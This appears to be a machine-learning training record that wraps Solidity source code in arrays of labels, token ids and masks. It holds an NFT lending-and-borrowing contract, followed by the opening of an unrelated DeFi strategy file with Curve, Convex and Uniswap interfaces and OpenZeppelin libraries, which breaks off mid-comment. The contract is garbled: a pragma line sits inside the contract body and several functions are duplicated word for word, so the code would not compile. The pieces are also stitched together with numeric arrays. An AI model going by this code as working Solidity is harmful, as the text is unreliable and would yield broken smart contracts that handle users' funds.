-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/80001/0xcA0072278a9C9bCcCb02570b8F7aA7f20D56de93/sources/project_/contracts/NFTlendingBorrowing.sol
|
STORAGE START ---------------------------------------------------------------------------
|
{
using Counters for Counters.Counter;
uint256 public NFTid;
address AconomyFeeAddress;
pragma solidity 0.8.11;
struct NFTdetail {
uint256 NFTtokenId;
address tokenIdOwner;
address contractAddress;
uint32 duration;
uint256 expectedAmount;
uint16 percent;
bool listed;
bool bidAccepted;
bool repaid;
}
struct BidDetail {
uint256 bidId;
uint16 percent;
uint32 duration;
uint256 expiration;
address bidderAddress;
address ERC20Address;
uint256 Amount;
uint256 acceptedTimestamp;
uint16 protocolFee;
bool withdrawn;
bool bidAccepted;
}
event PercentSet(uint256 NFTid, uint16 Percent);
event DurationSet(uint256 NFTid, uint32 Duration);
event ExpectedAmountSet(uint256 NFTid, uint256 expectedAmount);
event NFTlisted(uint256 NFTid, uint256 TokenId, address ContractAddress);
event repaid(uint256 NFTid, uint256 BidId, uint256 Amount);
event Withdrawn(uint256 NFTid, uint256 BidId, uint256 Amount);
event NFTRemoved(uint256 NFTId);
event BidRejected(
uint256 NFTid,
uint256 BidId,
address recieverAddress,
uint256 Amount
);
event AcceptedBid(
uint256 NFTid,
uint256 BidId,
uint256 Amount,
uint256 ProtocolAmount
);
mapping(uint256 => NFTdetail) public NFTdetails;
mapping(uint256 => BidDetail[]) public Bids;
event AppliedBid(uint256 BidId, uint256 NFTid);
constructor() {
_disableInitializers();
}
function initialize(address _aconomyFee) public initializer {
__ReentrancyGuard_init();
__ERC721Holder_init();
__Ownable_init();
__UUPSUpgradeable_init();
AconomyFeeAddress = _aconomyFee;
}
function pause() external onlyOwner {
_pause();
}
function unpause() external onlyOwner {
_unpause();
}
modifier onlyOwnerOfToken(address _contractAddress, uint256 _tokenId) {
require(
msg.sender == ERC721(_contractAddress).ownerOf(_tokenId),
"Only token owner can execute"
);
_;
}
modifier NFTOwner(uint256 _NFTid) {
require(NFTdetails[_NFTid].tokenIdOwner == msg.sender, "Not the owner");
_;
}
function listNFTforBorrowing(
uint256 _tokenId,
address _contractAddress,
uint16 _percent,
uint32 _duration,
uint256 _expectedAmount
)
external
onlyOwnerOfToken(_contractAddress, _tokenId)
whenNotPaused
nonReentrant
returns (uint256 _NFTid)
{
require(_contractAddress != address(0));
require(_percent >= 10);
require(_expectedAmount >= 100000000000);
_NFTid = ++NFTid;
NFTdetail memory details = NFTdetail(
_tokenId,
msg.sender,
_contractAddress,
_duration,
_expectedAmount,
_percent,
true,
false,
false
);
NFTdetails[_NFTid] = details;
emit NFTlisted(_NFTid, _tokenId, _contractAddress);
}
function setPercent(
uint256 _NFTid,
uint16 _percent
) public whenNotPaused NFTOwner(_NFTid) {
require(_percent >= 10, "interest percent should be greater than 0.1%");
if (_percent != NFTdetails[_NFTid].percent) {
NFTdetails[_NFTid].percent = _percent;
emit PercentSet(_NFTid, _percent);
}
}
function setPercent(
uint256 _NFTid,
uint16 _percent
) public whenNotPaused NFTOwner(_NFTid) {
require(_percent >= 10, "interest percent should be greater than 0.1%");
if (_percent != NFTdetails[_NFTid].percent) {
NFTdetails[_NFTid].percent = _percent;
emit PercentSet(_NFTid, _percent);
}
}
function setDurationTime(
uint256 _NFTid,
uint32 _duration
) public whenNotPaused NFTOwner(_NFTid) {
if (_duration != NFTdetails[_NFTid].duration) {
NFTdetails[_NFTid].duration = _duration;
emit DurationSet(_NFTid, _duration);
}
}
function setDurationTime(
uint256 _NFTid,
uint32 _duration
) public whenNotPaused NFTOwner(_NFTid) {
if (_duration != NFTdetails[_NFTid].duration) {
NFTdetails[_NFTid].duration = _duration;
emit DurationSet(_NFTid, _duration);
}
}
function setExpectedAmount(
uint256 _NFTid,
uint256 _expectedAmount
) public whenNotPaused NFTOwner(_NFTid) {
require(_expectedAmount >= 100000000000);
if (_expectedAmount != NFTdetails[_NFTid].expectedAmount) {
NFTdetails[_NFTid].expectedAmount = _expectedAmount;
emit ExpectedAmountSet(_NFTid, _expectedAmount);
}
}
function setExpectedAmount(
uint256 _NFTid,
uint256 _expectedAmount
) public whenNotPaused NFTOwner(_NFTid) {
require(_expectedAmount >= 100000000000);
if (_expectedAmount != NFTdetails[_NFTid].expectedAmount) {
NFTdetails[_NFTid].expectedAmount = _expectedAmount;
emit ExpectedAmountSet(_NFTid, _expectedAmount);
}
}
function Bid(
uint256 _NFTid,
uint256 _bidAmount,
address _ERC20Address,
uint16 _percent,
uint32 _duration,
uint256 _expiration
) external whenNotPaused nonReentrant {
require(_ERC20Address != address(0));
require(_bidAmount != 0, "You can't bid with zero Amount");
require(_bidAmount >= 100000000000, "bid amount too low");
require(_percent >= 10, "interest percent too low");
require(!NFTdetails[_NFTid].bidAccepted, "Bid Already Accepted");
require(NFTdetails[_NFTid].listed, "You can't Bid on this NFT");
uint16 fee = AconomyFee(AconomyFeeAddress).AconomyNFTLendBorrowFee();
BidDetail memory bidDetail = BidDetail(
Bids[_NFTid].length,
_percent,
_duration,
_expiration + block.timestamp,
msg.sender,
_ERC20Address,
_bidAmount,
0,
fee,
false,
false
);
require(
IERC20(_ERC20Address).transferFrom(
msg.sender,
address(this),
_bidAmount
),
"Unable to tansfer Your ERC20"
);
Bids[_NFTid].push(bidDetail);
emit AppliedBid(Bids[_NFTid].length - 1, _NFTid);
}
function AcceptBid(
uint256 _NFTid,
uint256 _bidId
) external whenNotPaused nonReentrant {
address AconomyOwner = AconomyFee(AconomyFeeAddress)
.getAconomyOwnerAddress();
uint256 amountToAconomy = LibCalculations.percent(
Bids[_NFTid][_bidId].Amount,
Bids[_NFTid][_bidId].protocolFee
);
LibNFTLendingBorrowing.acceptBid(
NFTdetails[_NFTid],
Bids[_NFTid][_bidId],
amountToAconomy,
AconomyOwner
);
emit AcceptedBid(
_NFTid,
_bidId,
Bids[_NFTid][_bidId].Amount - amountToAconomy,
amountToAconomy
);
}
function rejectBid(
uint256 _NFTid,
uint256 _bidId
) external whenNotPaused nonReentrant {
LibNFTLendingBorrowing.RejectBid(
NFTdetails[_NFTid],
Bids[_NFTid][_bidId]
);
emit BidRejected(
_NFTid,
_bidId,
Bids[_NFTid][_bidId].bidderAddress,
Bids[_NFTid][_bidId].Amount
);
}
function viewRepayAmount(
uint256 _NFTid,
uint256 _bidId
) external view returns (uint256) {
uint256 percentageAmount = LibCalculations.calculateInterest(
Bids[_NFTid][_bidId].Amount,
Bids[_NFTid][_bidId].percent,
(block.timestamp - Bids[_NFTid][_bidId].acceptedTimestamp) +
10 minutes
);
return Bids[_NFTid][_bidId].Amount + percentageAmount;
}
function Repay(
uint256 _NFTid,
uint256 _bidId
) external whenNotPaused nonReentrant {
require(NFTdetails[_NFTid].bidAccepted, "Bid Not Accepted yet");
require(NFTdetails[_NFTid].listed, "It's not listed for Borrowing");
require(Bids[_NFTid][_bidId].bidAccepted, "Bid not Accepted");
require(!NFTdetails[_NFTid].repaid, "Already Repaid");
uint256 percentageAmount = LibCalculations.calculateInterest(
Bids[_NFTid][_bidId].Amount,
Bids[_NFTid][_bidId].percent,
block.timestamp - Bids[_NFTid][_bidId].acceptedTimestamp
);
require(
IERC20(Bids[_NFTid][_bidId].ERC20Address).transferFrom(
msg.sender,
Bids[_NFTid][_bidId].bidderAddress,
Bids[_NFTid][_bidId].Amount + percentageAmount
),
"unable to transfer to bidder Address"
);
NFTdetails[_NFTid].repaid = true;
NFTdetails[_NFTid].listed = false;
ERC721(NFTdetails[_NFTid].contractAddress).safeTransferFrom(
address(this),
msg.sender,
NFTdetails[_NFTid].NFTtokenId
);
emit repaid(
_NFTid,
_bidId,
Bids[_NFTid][_bidId].Amount + percentageAmount
);
}
function withdraw(
uint256 _NFTid,
uint256 _bidId
) external whenNotPaused nonReentrant {
require(
Bids[_NFTid][_bidId].bidderAddress == msg.sender,
"You can't withdraw this Bid"
);
require(!Bids[_NFTid][_bidId].withdrawn, "Already withdrawn");
require(
!Bids[_NFTid][_bidId].bidAccepted,
"Your Bid has been Accepted"
);
if(!NFTdetails[_NFTid].bidAccepted) {
require(
block.timestamp > Bids[_NFTid][_bidId].expiration,
"Can't withdraw Bid before expiration"
);
}
require(
IERC20(Bids[_NFTid][_bidId].ERC20Address).transfer(
msg.sender,
Bids[_NFTid][_bidId].Amount
),
"unable to transfer to Bidder Address"
);
Bids[_NFTid][_bidId].withdrawn = true;
emit Withdrawn(_NFTid, _bidId, Bids[_NFTid][_bidId].Amount);
}
function withdraw(
uint256 _NFTid,
uint256 _bidId
) external whenNotPaused nonReentrant {
require(
Bids[_NFTid][_bidId].bidderAddress == msg.sender,
"You can't withdraw this Bid"
);
require(!Bids[_NFTid][_bidId].withdrawn, "Already withdrawn");
require(
!Bids[_NFTid][_bidId].bidAccepted,
"Your Bid has been Accepted"
);
if(!NFTdetails[_NFTid].bidAccepted) {
require(
block.timestamp > Bids[_NFTid][_bidId].expiration,
"Can't withdraw Bid before expiration"
);
}
require(
IERC20(Bids[_NFTid][_bidId].ERC20Address).transfer(
msg.sender,
Bids[_NFTid][_bidId].Amount
),
"unable to transfer to Bidder Address"
);
Bids[_NFTid][_bidId].withdrawn = true;
emit Withdrawn(_NFTid, _bidId, Bids[_NFTid][_bidId].Amount);
}
function removeNFTfromList(uint256 _NFTid) external whenNotPaused {
require(
msg.sender ==
ERC721(NFTdetails[_NFTid].contractAddress).ownerOf(
NFTdetails[_NFTid].NFTtokenId
),
"Only token owner can execute"
);
require(
NFTdetails[_NFTid].bidAccepted == false,
"bid has been accepted"
);
if (!NFTdetails[_NFTid].listed) {
revert("It's aiready removed");
}
NFTdetails[_NFTid].listed = false;
emit NFTRemoved(_NFTid);
}
function removeNFTfromList(uint256 _NFTid) external whenNotPaused {
require(
msg.sender ==
ERC721(NFTdetails[_NFTid].contractAddress).ownerOf(
NFTdetails[_NFTid].NFTtokenId
),
"Only token owner can execute"
);
require(
NFTdetails[_NFTid].bidAccepted == false,
"bid has been accepted"
);
if (!NFTdetails[_NFTid].listed) {
revert("It's aiready removed");
}
NFTdetails[_NFTid].listed = false;
emit NFTRemoved(_NFTid);
}
function _authorizeUpgrade(address) internal override onlyOwner {}
}
| 9,477,029 |
[
1,
19009,
10485,
8879,
15392,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
95,
203,
565,
1450,
9354,
87,
364,
9354,
87,
18,
4789,
31,
203,
203,
203,
565,
2254,
5034,
1071,
423,
4464,
350,
31,
203,
565,
1758,
432,
591,
362,
93,
14667,
1887,
31,
203,
203,
683,
9454,
18035,
560,
374,
18,
28,
18,
2499,
31,
203,
565,
1958,
423,
4464,
8992,
288,
203,
3639,
2254,
5034,
423,
4464,
2316,
548,
31,
203,
3639,
1758,
1147,
548,
5541,
31,
203,
3639,
1758,
6835,
1887,
31,
203,
3639,
2254,
1578,
3734,
31,
203,
3639,
2254,
5034,
2665,
6275,
31,
203,
3639,
2254,
2313,
5551,
31,
203,
3639,
1426,
12889,
31,
203,
3639,
1426,
9949,
18047,
31,
203,
3639,
1426,
2071,
20736,
31,
203,
565,
289,
203,
203,
565,
1958,
605,
350,
6109,
288,
203,
3639,
2254,
5034,
9949,
548,
31,
203,
3639,
2254,
2313,
5551,
31,
203,
3639,
2254,
1578,
3734,
31,
203,
3639,
2254,
5034,
7686,
31,
203,
3639,
1758,
9949,
765,
1887,
31,
203,
3639,
1758,
4232,
39,
3462,
1887,
31,
203,
3639,
2254,
5034,
16811,
31,
203,
3639,
2254,
5034,
8494,
4921,
31,
203,
3639,
2254,
2313,
1771,
14667,
31,
203,
3639,
1426,
598,
9446,
82,
31,
203,
3639,
1426,
9949,
18047,
31,
203,
565,
289,
203,
203,
203,
203,
565,
871,
21198,
694,
12,
11890,
5034,
423,
4464,
350,
16,
2254,
2313,
21198,
1769,
203,
565,
871,
4822,
694,
12,
11890,
5034,
423,
4464,
350,
16,
2254,
1578,
4822,
1769,
203,
565,
871,
13219,
6275,
694,
12,
11890,
5034,
423,
4464,
350,
16,
2254,
5034,
2665,
6275,
1769,
203,
565,
871,
423,
2
] |
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// Global Enums and Structs
struct StrategyParams {
uint256 performanceFee;
uint256 activation;
uint256 debtRatio;
uint256 minDebtPerHarvest;
uint256 maxDebtPerHarvest;
uint256 lastReport;
uint256 totalDebt;
uint256 totalGain;
uint256 totalLoss;
}
// Part: IBaseFee
interface IBaseFee {
function basefee_global() external view returns (uint256);
}
// Part: IConvexDeposit
interface IConvexDeposit {
// deposit into convex, receive a tokenized deposit. parameter to stake immediately (we always do this).
function deposit(
uint256 _pid,
uint256 _amount,
bool _stake
) external returns (bool);
// burn a tokenized deposit (Convex deposit tokens) to receive curve lp tokens back
function withdraw(uint256 _pid, uint256 _amount) external returns (bool);
// give us info about a pool based on its pid
function poolInfo(uint256)
external
view
returns (
address,
address,
address,
address,
address,
bool
);
}
// Part: IConvexRewards
interface IConvexRewards {
// strategy's staked balance in the synthetix staking contract
function balanceOf(address account) external view returns (uint256);
// read how much claimable CRV a strategy has
function earned(address account) external view returns (uint256);
// stake a convex tokenized deposit
function stake(uint256 _amount) external returns (bool);
// withdraw to a convex tokenized deposit, probably never need to use this
function withdraw(uint256 _amount, bool _claim) external returns (bool);
// withdraw directly to curve LP token, this is what we primarily use
function withdrawAndUnwrap(uint256 _amount, bool _claim)
external
returns (bool);
// claim rewards, with an option to claim extra rewards or not
function getReward(address _account, bool _claimExtras)
external
returns (bool);
// check if we have rewards on a pool
function extraRewardsLength() external view returns (uint256);
// if we have rewards, see what the address is
function extraRewards(uint256 _reward) external view returns (address);
// read our rewards token
function rewardToken() external view returns (address);
}
// Part: ICurveFi
interface ICurveFi {
function get_virtual_price() external view returns (uint256);
function add_liquidity(
// EURt
uint256[2] calldata amounts,
uint256 min_mint_amount
) external payable;
function add_liquidity(
// Compound, sAave
uint256[2] calldata amounts,
uint256 min_mint_amount,
bool _use_underlying
) external payable returns (uint256);
function add_liquidity(
// Iron Bank, Aave
uint256[3] calldata amounts,
uint256 min_mint_amount,
bool _use_underlying
) external payable returns (uint256);
function add_liquidity(
// 3Crv Metapools
address pool,
uint256[4] calldata amounts,
uint256 min_mint_amount
) external;
function add_liquidity(
// Y and yBUSD
uint256[4] calldata amounts,
uint256 min_mint_amount,
bool _use_underlying
) external payable returns (uint256);
function add_liquidity(
// 3pool
uint256[3] calldata amounts,
uint256 min_mint_amount
) external payable;
function add_liquidity(
// sUSD
uint256[4] calldata amounts,
uint256 min_mint_amount
) external payable;
function remove_liquidity_imbalance(
uint256[2] calldata amounts,
uint256 max_burn_amount
) external;
function remove_liquidity(uint256 _amount, uint256[2] calldata amounts)
external;
function remove_liquidity_one_coin(
uint256 _token_amount,
int128 i,
uint256 min_amount
) external;
function exchange(
int128 from,
int128 to,
uint256 _from_amount,
uint256 _min_to_amount
) external;
function balances(uint256) external view returns (uint256);
function get_dy(
int128 from,
int128 to,
uint256 _from_amount
) external view returns (uint256);
// EURt
function calc_token_amount(uint256[2] calldata _amounts, bool _is_deposit)
external
view
returns (uint256);
// 3Crv Metapools
function calc_token_amount(
address _pool,
uint256[4] calldata _amounts,
bool _is_deposit
) external view returns (uint256);
// sUSD, Y pool, etc
function calc_token_amount(uint256[4] calldata _amounts, bool _is_deposit)
external
view
returns (uint256);
// 3pool, Iron Bank, etc
function calc_token_amount(uint256[3] calldata _amounts, bool _is_deposit)
external
view
returns (uint256);
function calc_withdraw_one_coin(uint256 amount, int128 i)
external
view
returns (uint256);
}
// Part: IUniswapV2Router01
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
// Part: OpenZeppelin/[email protected]/Address
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: OpenZeppelin/[email protected]/IERC20
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Part: OpenZeppelin/[email protected]/Math
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// Part: OpenZeppelin/[email protected]/SafeMath
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
